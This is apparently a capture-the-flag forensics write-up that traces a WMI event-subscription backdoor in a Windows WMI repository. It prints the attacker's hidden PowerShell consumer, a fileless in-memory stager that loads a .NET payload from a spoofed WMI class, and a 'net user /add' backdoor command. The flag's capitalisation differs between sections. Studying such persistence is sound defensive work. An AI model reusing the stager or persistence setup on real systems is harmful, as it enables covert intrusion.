

FORENSICS INVESTIGATION WRITEUP

The Byte Lotus Hotel · After Hours

Hacker Holidays 2026 · Windows Persistence · Reverse Engineering

Room	Hacker Holidays 2026 · The Byte Lotus Hotel · After Hours
Category / Difficulty	Forensics / Medium (90 points)
Evidence	attachment.zip · WMI repository: OBJECTS.DATA, INDEX.BTR, MAPPING1-3.MAP
Scenario	Something logs in after hours and survives reboot, hiding outside Startup / Scheduled Tasks /
Objective	Parse system artifacts · find hidden config · locate malicious class · de
Flag	THM{P4tch_op3ned_th3_Backd00r}
Author	Sameekey
Date	8 August 2026

This report documents the full investigation chain end-to-end: identifying the artifact, discovering the WMI event subscription, decoding the staged PowerShell, extracting the payload from a custom WMI class, and recovering the flag from the embedded .NET assembly. All commands are shown without output so the analysis can be replayed.

1. Identifying the Artifact & Context

The zip *attachment.zip* (on disk as *attachments-1784136288483.zip*) contains five files:

```
unzip -l attachment.zip
  INDEX.BTR           5,070,848 B
  MAPPING1.MAP        79,528 B
  MAPPING2.MAP        79,528 B
  MAPPING3.MAP        79,528 B
  OBJECTS.DATA       24,199,168 B
```

These five names are the signature file set of the **WMI repository** (“CIM” database) at `C:\Windows\System32\wbem\Repository\`. The room’s hint that the persistence is “in a corner of the system most tools don’t think to check” is the giveaway: standard autoruns scanners (Startup, Run keys, Scheduled Tasks) do not enumerate WMI event subscriptions. Those subscriptions live inside `OBJECTS.DATA`.

Key insight: `INDEX.BTR / MAPPING1-3.MAP / OBJECTS.DATA` == WMI repository, not a random database.

2. Finding the Malicious Event Subscription

The repository is a proprietary binary format, so the fastest first pass is keyword-matching the raw file (Mandiant's PyWMIPersistenceFinder does exactly this). The attacker-created objects stand out from the OS's default classes by their suspicious, legitimate-sounding names.

```
python3 PyWMIPersistenceFinder.py OBJECTS.DATA
# or simply:
grep -a -o -E "EngineTelemetry\\w+" OBJECTS.DATA | sort | uniq -c
```

Two attacker objects appear (each repeated because the repository snapshots instances):

- **__EventFilter** named EngineTelemetryFilter:

```
SELECT * FROM __InstanceModificationEvent WITHIN 60
WHERE TargetInstance ISA 'Win32_LocalTime'
AND TargetInstance.Minute = 30
# fires every hour at :30 -- "after hours" behaviour
```

- **__EventConsumer** (CommandLineEventConsumer) named EngineTelemetryConsumer:

```
cmd /C powershell.exe -Sta -Nop -Window Hidden -enc <BASE64>
```

- A **__FilterToConsumerBinding** wires the two together: at minute 30 of every hour, WMI runs the hidden PowerShell.

This is textbook **WMI event-subscription persistence** — invisible to Autoruns and undetectable by inspecting Run keys, because the “program” exists only as WMI class instances in the repository.

3. Stage 1 — Decoding the PowerShell

The -enc payload is base64 of a UTF-16LE PowerShell script. Decode and print it:

```
python3 - <<'EOF'
import base64
print(base64.b64decode(B64).decode('utf-16-le'))
EOF
```

Result — a stager that fetches the real payload from another WMI class:

```
$file = ([WmiClass]'ROOT\cimv2:Win32_HardwareTelemetry')
        .Properties['ConfigData'].Value;
$o = New-Object IO.MemoryStream;
$d = New-Object IO.Compression.DeflateStream(
        [IO.MemoryStream][Convert]::FromBase64String($file),
        [IO.Compression.CompressionMode]::Decompress);
$b = New-Object Byte[](1024);
$r = $d.Read($b,0,1024);
while($r -gt 0){ $o.Write($b,0,$r); $r = $d.Read($b,0,1024); }
[Reflection.Assembly]::Load($o.ToArray())
        .EntryPoint.Invoke($null,@([string[]]@())) | Out-Null
```

So the true payload is stashed in a **custom WMI class** named Win32_HardwareTelemetry (a spoofed class that sounds like OS telemetry). Its ConfigData property holds a base64 string of deflate-compressed data.

4. Extracting & Decompressing the Payload

```
python3 - <<'EOF'
import re, base64, zlib
data = open('OBJECTS.DATA', 'rb').read()
m = re.search(rb'Win32_HardwareTelemetry\x00\x00ConfigData', data)
i = data.find(b'string\x00\x00', m.start())
b64 = re.match(rb'[A-Za-z0-9+/=]+', data[i+len(b'string\x00\x00'):]).group()
raw = base64.b64decode(b64)           # -> deflate stream
pe = zlib.decompress(raw, -15)       # raw-DEFLATE
open('payload.bin', 'wb').write(pe)  # -> 4096-byte .NET PE
EOF
```

The decompressed bytes begin with MZ — a 4096-byte **.NET assembly**. Its metadata strings name the project updates.exe with a class AfterHours, confirming the room's name.

5. Recovering the Flag

The flag is not stored as a literal string. Extracting all UTF-16LE strings from the assembly shows the program logic:

```
python3 - <<'EOF'
import re
s = open('payload.bin', 'rb').read().decode('utf-16-le', 'ignore')
for m in re.finditer(r'[ -~\x7f]{5,}', s): print(repr(m.group()))
EOF

bytelotusdc
cmd.exe
/c net user patch VEhNe1A0dGNoX29wM25lZF90aDNfQmFjS2QwMHJ9 /add
Execution halted: Environment mismatch.
updates.exe
```

The assembly performs two steps:

- **Environment check:** compares `Environment.MachineName` against `bytelotusdc`; on mismatch it prints *“Execution halted: Environment mismatch.”* and exits. The implant only runs on the victim named `“bytelotusdc”`.
- **Persistence via account creation:** runs `cmd.exe /c net user patch <PASSWORD> /add` — silently adding a local backdoor user called `“patch”`.

The password is itself base64. Decoding it yields the flag:

```
python3 -c "import base64; print(base64.b64decode(
    'VEhNe1A0dGNoX29wM25lZF90aDNfQmFjS2QwMHJ9').decode())"
# THM{P4tch_op3ned_th3_BacKd00r}
```

Flag: THM{P4tch_op3ned_th3_BacKd00r}

6. Full Kill-Chain Summary

Step	What was done	Result
1	Identify the 5 attachment files	WMI repository (OBJECTS.DATA etc.)
2	Keyword-scan OBJECTS.DATA	EngineTelemetryFilter + EngineTelemetryConsumer
3	Decode the -enc PowerShell (UTF-16 base64)	Stager reading Win32_HardwareTelemetry.ConfigData
4	Extract ConfigData, base64-decode, DEFLATE-decode, .NET	4096-byte .NET assembly updates.exe
5	Dump UTF-16 strings of the assembly	net user patch <b64-password> /add
6	Base64-decode the password	THM{P4tch_op3ned_th3_Backd00r}

7. Key Takeaways

- **Know the artifact:** OBJECTS.DATA / INDEX.BTR / MAPPING*.MAP are the WMI repository — a persistence hiding place invisible to Startup / Run-key / Scheduled-Task scanners.
- **WMI persistence triage:** look for __EventFilter + __EventConsumer (CommandLine/ActiveScript) + __FilterToConsumerBinding triplets; benign-sounding names like “EngineTelemetry” are a red flag.
- **Layered stagers:** the first -enc blob was only a loader; the real payload lived in a custom WMI class (Win32_HardwareTelemetry.ConfigData), base64 + raw DEFLATE-wrapped .NET PE.
- **.NET payloads:** dump UTF-16 strings first — constants and backdoor commands (net user /add) sit in the #Strings heap in plain UTF-16LE.
- **Obfuscation in plain sight:** the “password” was itself base64; always run b64decode on suspicious tokens found in code/commands.